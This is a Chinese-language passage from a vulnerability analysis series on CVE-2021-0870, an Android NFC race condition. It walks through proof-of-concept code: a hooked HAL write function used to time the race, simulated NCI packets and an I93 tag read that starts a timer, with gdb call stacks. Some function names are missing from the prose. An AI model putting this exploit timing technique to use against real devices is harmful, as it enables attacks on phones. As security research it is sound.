CVE-2021-0870 NFC竟也存在高危漏洞?看他如何分析( 四 )


比如解除阻塞的时机是在调用的时候,调用栈是:
(gdb) bt#00x000000555558b804 in FakeWrite(unsigned short, unsigned char*) ()#10x0000007fb63ba7fc in nfc_ncif_check_cmd_queue (p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337#20x0000007fb63bb7cc in nfc_ncif_send_cmd (p_buf=) at system/nfc/src/nfc/nfc/nfc_ncif.cc:402#30x0000007fb63ae370 in nci_snd_core_init (nci_version=32 ' ') at system/nfc/src/nfc/nci/nci_hmsgs.cc:94#40x0000007fb63c1f44 in nfc_ncif_proc_reset_rsp (p=, is_ntf=) at system/nfc/src/nfc/nfc/nfc_ncif.cc:1741#50x0000007fb63b00c8 in nci_proc_core_ntf (p_msg=) at system/nfc/src/nfc/nci/nci_hrcv.cc:135#60x0000007fb63bc1b8 in nfc_ncif_process_event (p_msg=) at system/nfc/src/nfc/nfc/nfc_ncif.cc:505#70x0000007fb63c3df4 in nfc_task (arg=) at system/nfc/src/nfc/nfc/nfc_task.cc:378#80x0000007fb6436758 in gki_task_entry (params=) at system/nfc/src/gki/ulinux/gki_ulinux.cc:96#90x0000007fb5cfe9b8 in __pthread_start (arg=0x7f31d23cc0) at bionic/libc/bionic/pthread_create.cpp:347...
ueue函数会调用(p_buf)函数发数据给HAL,虽然从调用栈看不出实际就是,但由于之前重载了 的函数指针,实际就是。
void FakeWrite(uint16_t data_len, uint8_t* p_data) {uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0};if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) {reset_done_cv.notify_one();}uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0};if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {i93_detect_cv.notify_one();}uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff,0xff, 0x1, 0xf};if (data_len == 7 &&!memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {t3t_get_system_codes_cv.notify_one();}}
因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断:
if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))
符合条件就会解除调用.()阻塞.这里重载HAL函数指针的优势就显现出来了. 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步。
Part3
代码是:
NFA_EnableListening();NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);NFA_StartRfDiscovery();{std::unique_lock enable_lock(cv_mutex);enable_cv.wait(enable_lock);}std::vector init_core = {0x0,0xa, 0x3,0xca, 0xff, 0xff, 0xff,0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,NCI_MSG_CORE_INIT, init_core.data(),init_core.size());g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,HAL_NFC_STATUS_OK);{std::unique_lock nfa_enable_lock(cv_mutex);nfa_enable_cv.wait(nfa_enable_lock);}std::vector discover_rf = {0x0};g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),discover_rf.size());{std::unique_lock rf_discovery_started_lock(cv_mutex);rf_discovery_started_cv.wait(rf_discovery_started_lock);}
将NFC开启,并进入模式 。
Part4
代码是:
NFA_RwReadNDef();{std::unique_lock i93_detect_lock(cv_mutex);i93_detect_cv.wait(i93_detect_lock);}
()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,下面是I93收到读请求后定时器被启动的调用栈:
#0nfc_start_quick_timer (p_tle=, type=, timeout=) at ../src/nfc/nfc/nfc_task.cc:190#10x00000000005f8874 in rw_i93_send_to_lower (p_msg=) at ../src/nfc/tags/rw_i93.cc:680#20x00000000005f916d in rw_i93_send_cmd_inventory (p_uid=, including_afi=, afi=